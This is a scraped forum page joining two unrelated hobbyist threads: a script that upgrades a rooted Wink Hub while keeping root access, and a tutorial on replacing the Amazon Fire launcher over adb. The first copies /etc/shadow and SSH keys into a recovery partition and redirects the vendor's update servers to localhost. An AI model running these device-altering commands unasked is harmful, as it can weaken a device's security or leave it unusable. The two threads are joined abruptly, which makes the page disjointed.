ubiattach -p /dev/mtd5
mkdir /tmp/updater
mount -t ubifs ubi2:rootfs /tmp/updater
sed -i 's/=-sg/=/' /tmp/updater/etc/default/dropbear
rm -f /tmp/updater/etc/init.d/S99local
cp /var/www/set_dev_value.php /tmp/updater/var/www
fw_setenv bootdelay 5
sed -i 's/bootdelay 0/bootdelay 5/' /database_default/u-boot.env
cp /etc/shadow /tmp/updater/etc
mkdir /tmp/updater/root/.ssh
cp /root/.ssh/authorized_keys /tmp/updater/root/.ssh/authorized_keys
echo "127.0.0.1 hub-api.winkapp.com" >> /tmp/updater/etc/hosts
echo "127.0.0.1 hub-updates.winkapp.com" >> /tmp/updater/etc/hosts
echo "127.0.0.1 wink-hub-images.s3.amazonaws.com" >> /tmp/updater/etc/hosts
sed -i 's/rm \/database\/wpa_supplicant.conf/echo WPA Fix #rm \/database\/wpa_supplicant.conf/' /tmp/updater/etc/init.d/S31platform
sed -i 's/#ttyAM0/ttyAM0/' /tmp/updater/etc/inittab
echo "00.01" > /database/cf_build
echo "00.01" > /database/cf_fver2
echo "00.47" > /database/cf_fver3
echo "127.0.0.1 hub-api.winkapp.com" >> /etc/hosts
echo "127.0.0.1 hub-updates.winkapp.com" >> /etc/hosts
echo "127.0.0.1 wink-hub-images.s3.amazonaws.com" >> /etc/hosts
echo "0" > /database/DO_UPDATE
reboot
Once the reboot completes the device will come back online as version 47 This worked fine for me but as always YMMV. The script keeps creates enough holes you should be able to get back in one way or another...
681
Starting from a new in box Wink Hub, is there anything I need to do before hand to make sure I can SSH into the "upgrade mode" partition? It'a not clear if people are using a Serial Console connection to access the "upgrade mode" partition or if they are SSHing in. For SSH access, I would assume the authorized_keys file needs to be updated (so the upgrade mode partition would need to be mounted and updated). Just need some confirmation. Thank you
berserko said:
Here is the commands I used to upgrade my pre-rooted Wink for 33 to 47
Hope this helps:
Code:
echo "1" > /database/DO_UPDATE
reboot
Click to expand...
Click to collapse
berserko said:
Run an MD5sum against your app-rootfs.ubi if the md5sum is 55574706f2cbf4f6e17e4d224b63287d then you have version 47. I don't havre the 33 md5sum in front of me I'll post it if I can find it...
Click to expand...
Click to collapse
I ran a MD5sum on the copy of app-rootfs.ubi that I downloaded from the the amazon aws link sometime on dec 10th. It is "eec07feee1fa1a4a06e05a00af18156f".
I have no idea if it's v0.33 or 0.47. If someone else has a file they're sure is 0.33, can they run a MD5sum on it?
If I rooted and never updated, so I have original firmware, can I use the method you described to go straight to 47?
Thanks
Jeff
qnology said:
Starting from a new in box Wink Hub, is there anything I need to do before hand to make sure I can SSH into the "upgrade mode" partition? It'a not clear if people are using a Serial Console connection to access the "upgrade mode" partition or if they are SSHing in. For SSH access, I would assume the authorized_keys file needs to be updated (so the upgrade mode partition would need to be mounted and updated). Just need some confirmation. Thank you
Click to expand...
Click to collapse

[TUT] Easily remove Amazon's firelauncher and use any launcher (NO ROOT 5.3.1)

EDIT 09/23/16
I finally found a permanent solution to how to change fire launcher on the Amazon Fire without root. It works on any version (FireOS 5.3.1) on any tablet variant (7, HD 8, HD 10 etc...).
You can read the detailed tutorial at http://forum.xda-developers.com/ama...-remove-default-launcher-amazon-fire-t3288310 but basically you run one command, must be done after reboot currently via adb shell:
Noval Launcher on Amazon Fire no-root:
Code:
nohup logcat -c; logcat | grep --line-buffered 'flg=0x10200000 cmp=com.amazon.firelauncher/.Launcher' | while read line; do am start com.teslacoilsw.launcher/.NovaLauncher; done &
That's it. Once you paste that into your adb shell you're done; you now have a default launcher programmatically set via ADB.
Optionally, you can install the modded firelauncher.apk so you can finally delete it without root .
(this is optional, you wont have any launcher after doing this! backup your old APK!!)
Code:
adb install -r -d com.amazon.firelauncher.apk
... as you can now see this will -r reinstall and -d downgrade the launcher, causing it to crash and never open.
Thanks for your support guys, I love android!
EDIT:
I have updated with a new method that is much better, the only negative to this new method is when you hit the home button, for a brief moment you see the firelauncher. Performance, speed, and bugs are perfect.
Just paste this code in adb shell, I'm working on setting up nohup to work with it, when you close adb it will stop working.. Going to bed for now though.
Code:
#!/bin/bash
am monitor | while read -r line; do
if [[ $line == *"firelauncher"* ]]
then
am start [B]com.newlauncher.launcher[/B]
fi
done
I'm new to the whole Android scene, and recently I had acquired an Amazon Fire HD 8. The only complaint about this tablet is the lack of Google Play and the horrible firelauncher. There is currently no root options available for the Fire HD modles 8 & 10, so I have spent the time to develop a temporary workaround.
Please take a quick look at the developmental thread I previously created so we can collaborate to make a more efficient version of this:
http://forum.xda-developers.com/hd8...zon-fire-hd-8-10-remove-firelauncher-t3286646
Disclaimer:
If you plan on installing new applications/packages while this script is running you may have a hard time. Installing packages may take 2-10 minutes, or maybe not at all!
If you experience any problems you can undo everything by running the undo script attatched (unix), or by typing "adb shell ps | grep /system/bin/sh", you will see anywhere from 2-10 processes listed. For each type "adb shell kill -9 <pid>", pid would be the process ID, should be the first number you see on each line.
There is a small chance when you press the home button that it will load the regular firelauncher, do not fret, try again and it will go to whichever launcher you previously selected.
Performance may be slightly altered, if it becomes too bad to use try adjusting the script and change the interval at which it loops (set to 20 by default).
This is an alpha experiment, and I am a noob with Android so please bare with me
This is a noobish approach to disabling the firelauncher (com.amazon.firelauncher.apk), please do not judge it, this is also my first time releasing something for Android.
If you are using a unix operating system (like Linux or Mac), I have compiled a script that does the work for you! Windows users will have to wait and do it manually since I am unfamilar with batch (would someone like to help with this?)
Automatic Tool (easy, linux, mac only)
Step One:
Download the two script attachments:
remove_default_launcher.sh - disables amazon's firelauncher
re-endable_firelauncher(undo).sh - reverts the process, if you have any issues
Step Two:
Run the following commands to make the scripts executable:
Code:
chmod +x remove_default_launcher.sh
chmod +x re-endable_firelauncher(undo).sh
Run the tool to remove amazon's nasty launcher!
Code:
./remove_default_launcher.sh
Step Three:
The script should automatically do everything, when it's done, check your Fire. Keep pressing the home button and switching between applications until you get the "Change default launcher" dialogue, make sure you have an alternative launcher installed beforehand or else you won't have a launcher! When it's all working how it should be go to step four!
Step Four:
Simply exit out of your terminal window, do not type anything, just exit ADB. The script will continue running!
This is what a successful window looks like, whenever you have confirmed it is working, close out of the ADB window and end that process.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Manually (harder, windows)
Step One:
Open up a new ADB shell window and type
Code:
adb shell
Step Two:
Once you are in the shell window, simply copy and paste this line of code and press return. It is just a simple bash script that loops the command "install -r -d "/system/priv-app/com.amazon.firelauncher/com.amazon.firelauncher.apk"" which will reinstall the firelauncher repeatedly, which temporary uninstalls it.
Code:
#!/system/bin/sh
nohup
while :
do
kill $!
sleep 1 & pm install -r -d "/system/priv-app/com.amazon.firelauncher/com.amazon.firelauncher.apk" & sleep 20; kill $!
kill $!
done &
exit
#press enter now
After pressing enter, you can watch it go to work, or you can close out of the adb window and unplug your device, it will continue to run until you kill the shell processes or reboot the device. Make sure you have an alternative launcher already installed so it can easily be set as default. EDIT: Reboot may not reset it, which is cool but could be annoying. To turn off this wonderful feature open up adb shell and use "ls | grep shell" and kill using "kill <pid>" all releated processes to /bin/shell or whatever. It may take up to a minute to reset.
If you have any issues at all please comment and I will send you a private message with detailed instructions catered to your specific issue!
If you are a dev, take a look at my unix auto-install script, it may help you figure it out yourself as well. I need someone who understands batch to help me write a windows version .
I literally spent about 45 minutes working on this noobish approach, so if you find bugs or want to modify the script, simply post in the comments your version and why you think it is more efficient. If you want to help make a dedicated and more efficient approach to this, check out the development thread here (there are alternative methods here too):
http://forum.xda-developers.com/hd8...zon-fire-hd-8-10-remove-firelauncher-t3286646
This appears to be a very stable system actually, I recommend everyone does this to the Fire HD tablets!
I hope this helps someone, if this helps you please give me a thanks so I know it
Confused as to why you'd post this here after using the correct forum section for the HD8 and 10 already.
Pond-life said:
Confused as to why you'd post this here after using the correct forum section for the HD8 and 10 already.
Click to expand...
Click to collapse
I was not sure whether it was the correct forum actually, it is stable enough to use for all versions of Fire now, so I posted for users who do not want to root their device, but hate the launcher. If you think it is in the wrong place I will remove it promptly. I actually did post this in the wrong spot.. It is in development instead... At least there will not be any flaming here
I have also noticed 6x more downloads in 1/5 of the time this thread has been posted compared to the other.
I have updated with a new method that is much better, the only negative to this new method is when you hit the home button, for a brief moment you see the firelauncher. Performance, speed, and bugs are perfect.
Just paste this code in adb shell, I'm working on setting up nohup to work with it, when you close adb it will stop working.. Going to bed for now though.
Code:
#!/bin/bash
am monitor | while read -r line; do
if [[ $line == *"firelauncher"* ]]
then
am start [B]com.newlauncher.launcher[/B]
fi
done
Good job on this!
glitch3yf0x said:
Good job on this!
Click to expand...
Click to collapse
No problem, hopefully I will find some more time to work on this in the future .
I am glad you like it.
nyln said:
If you are using a unix operating system (like Linux or Mac), I have compiled a script that does the work for you! Windows users will have to wait and do it manually since I am unfamilar with batch (would someone like to help with this?)
Click to expand...
Click to collapse
If you're still in need, I'd be happy to help port it to windows!
as for me,on windows, worked simply:
adb shell
pm hide com.amazon.firelauncher
to enable the fire launcher again,
adb shell
pm unhide com.amazon.firelauncher
This is one of the best thread for Fire OS world! Can't wait for you to perfect this.
P.S: Plz, someone here port it to Windows.
Does it work on Fire 5.3.1 ?
Please message me if you want me to keep working on this. After the root I stopped.
working great. And how to restore in the laucher back?
I am in Win10
update: After reboot, it turns back to original FireOS launcher. Is there a way to make it auto applied?
ttcontributor said:
update: After reboot, it turns back to original FireOS launcher. Is there a way to make it auto applied?
Click to expand...
Click to collapse
I will do some work on it. I am not an android developer, so maybe i will write a python application.
nyln said:
I will do some work on it. I am not an android developer, so maybe i will write a python application.
Click to expand...
Click to collapse
It's great to hear you still have your hands on this
nerakkaren said:
as for me,on windows, worked simply:
adb shell
pm hide com.amazon.firelauncher
to enable the fire launcher again,
adb shell
pm unhide com.amazon.firelauncher
Click to expand...
Click to collapse
If I am not mistaken, this will only bennefit those who have a rooted device. Fire 7 and HD 8 got updated via OTA removing my root. I am now working on a better way right now .
Please PM or Thank me if you're interested in this, it'll come out faster if I know people are waiting
I finally found a permanent solution to how to change fire launcher on the Amazon Fire without root. It works on any version (FireOS 5.3.1) on any tablet variant (7, HD 8, HD 10 etc...).
You can read the detailed tutorial at http://forum.xda-developers.com/ama...-remove-default-launcher-amazon-fire-t3288310 but basically you run one command, must be done after reboot currently via adb shell:
Noval Launcher on Amazon Fire no-root:
Code:
nohup logcat -c; logcat | grep --line-buffered 'flg=0x10200000 cmp=com.amazon.firelauncher/.Launcher' | while read line; do am start com.teslacoilsw.launcher/.NovaLauncher; done &
That's it. Once you paste that into your adb shell you're done; you now have a default launcher programmatically set via ADB.
Optionally, you can install the modded firelauncher.apk so you can finally delete it without root .
Thanks for your support guys, I love android!
Here is a teaser of my application:
[email protected]:/ $ adb install -r -d com.amazon.firelauncher.apk
/system/bin/sh: adb: not found
im getting this error, so i still c the default launcher for a couple of seconds before it goes to nova launcher
ahac85 said:
[email protected]:/ $ adb install -r -d com.amazon.firelauncher.apk
/system/bin/sh: adb: not found
im getting this error, so i still c the default launcher for a couple of seconds before it goes to nova launcher
Click to expand...
Click to collapse
You are already inside adb shell, type exit then type it again silly

Categories

Resources